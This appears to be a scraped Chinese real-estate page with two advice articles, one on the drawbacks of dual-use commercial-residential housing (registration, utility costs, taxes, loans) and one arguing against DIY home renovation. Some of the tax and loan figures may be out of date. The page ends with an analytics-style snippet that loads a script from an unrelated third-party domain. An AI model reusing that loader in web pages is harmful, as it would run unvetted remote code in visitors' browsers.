商住两用房缺点是什么

商住两用房是指既可以用来办公，又可以用来居住的房子，等于办公室和居住地都在同一个地方。随着房价不断高涨，目前这类的商住两用房越来越多，不少人也会主动买商住两用房，目的是为了更好的省钱，也将房子的价值发挥到最大的范围里。商住两用房是有一定的优势，但大家也不好忽视它带来的缺点，光看到商住两用房优点可不行。那么，商住两用房缺点是什么?商住两用房缺点缺点一：商住两用房一般不能落户商住两用房一般无法迁入户口，这意味着即使周边区域内有较好的教育资源，子女因户口不能迁入也无法就近入学。这无形中造成了业主生活、学习上的不便。缺点二：“商住两用”房生活成本高商住两用房的水、电和物业费用的都是商用标准，远高于住宅项目，各种税费等也要高于普通住宅。也就是表示购房者要承受较高的生活成本。缺点三：商住两用房安全问题也值得担忧商住两用房将商和住混杂在一起，名为既可“商”也可“住”，实则给双方都带来了很多麻烦。在某业主论坛上，许多业主发的帖子反映商户严重扰民，有的反映商户晚上营业时间结束太晚等商住两用房税费“商住两用”项目目前还无法按照住宅的标准缴纳契税，这样的房子在转手的过程中，相关费用按照商用来计算，其转让契税为4%，而普通住宅转让契税为2%(不超过144平方米)。同时，商用转让还要征收营业税、土地增值税等。商住两用房贷款商住两用房不限购，也不受房贷限制，不过这种房子不能享受普通商品住宅的税费优惠。贷款期限一般不超过10年，首付高一些，50%左右，远高于首套普通住宅的30%，贷款利率为普通住宅的1.1倍，且不能申请公积金贷款。商住两用房缺点是什么?综上所述，商住两用房是有一定的优点，也有相应的缺点，希望大家在购买商住两用房的时候，一定要能够考虑清楚，不要只看到它的优点而忽视了它的缺点。无论是商住两用房还是其他类型的房子，购买之前都要打听清楚它的证件是否齐全，避免自己买到的房子证件不齐全，日后办理房产证、产权证都会比较麻烦，也会给自己造成许多折磨。

自己动手能不能装修好买来的新房

我们大家都非常的清楚，现在的房价特别的高，作为一个工薪阶层的普通人，买一套房子往往是花费了全家几十年的积蓄。如果买到的是毛坯房，自己能不能装修好呢？大多数人觉得请装修公司太贵了，就想自己动手，这样能省下不少钱，但又特别担心能不能装修好。下面一起看看究竟自己能不能装修好新家。首先是自己装修不但容易浪费材料，而且买的材料价格也较贵。比如买乳胶漆，是买一桶好，还是买三桶才够装修用，买少了不够，买多了怎么退？再比如墙纸和板材买多少才刚好用完，用不完怎么办？浪费钱吧。买少又不够用了，又怎么解决？补货或退货都要花费自己大量精力和金钱。另外，自己去市场买材料不但浪费时间精力，而且买材料的价格是零售价格，要比装修公司的批发价贵不少。那您认为自己能不能装修好新家呢？其次是不但售后问题难保障，而且还要要花大量的时间和精力看工地、看人工。自己到市场买好材料，再到装修市场找几个装修人员进行家庭装修，但装修总得几个月甚至半年吧，装修期间的几个月，如果自己忙活而不是找装修公司的话，那么这几个月基本是没有什么休息时间的了，要么跑工地，要么跑市场买这买那，这才好不容易等到的一个周末，就这样给折腾完了。更重要的是忙活了自己，装修质量也难以保证，如果出现了质量问题，或发生了价格纠纷，解决起来是特别麻烦的，还不如找装修公司装修，有什么质量问题，可以直接沟通沟通，及时解决。现在的装修市场越来越规范了，装修时直接找口碑好的装修公司，简单省心省事。通过分析，应该清楚自己能不能装修好新家了。您认为自己能不能装修好新家吗？自己装修时往往是参考左邻右舍或者是亲戚朋友家的装修情况，最后把家装修成了“四不像家园”。另外，请的人员不专业，水电设计安装容易出问题，水电项目一旦出现问题，可能得重新装修了。所以，您认为自己能不能装修好新家呢？ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();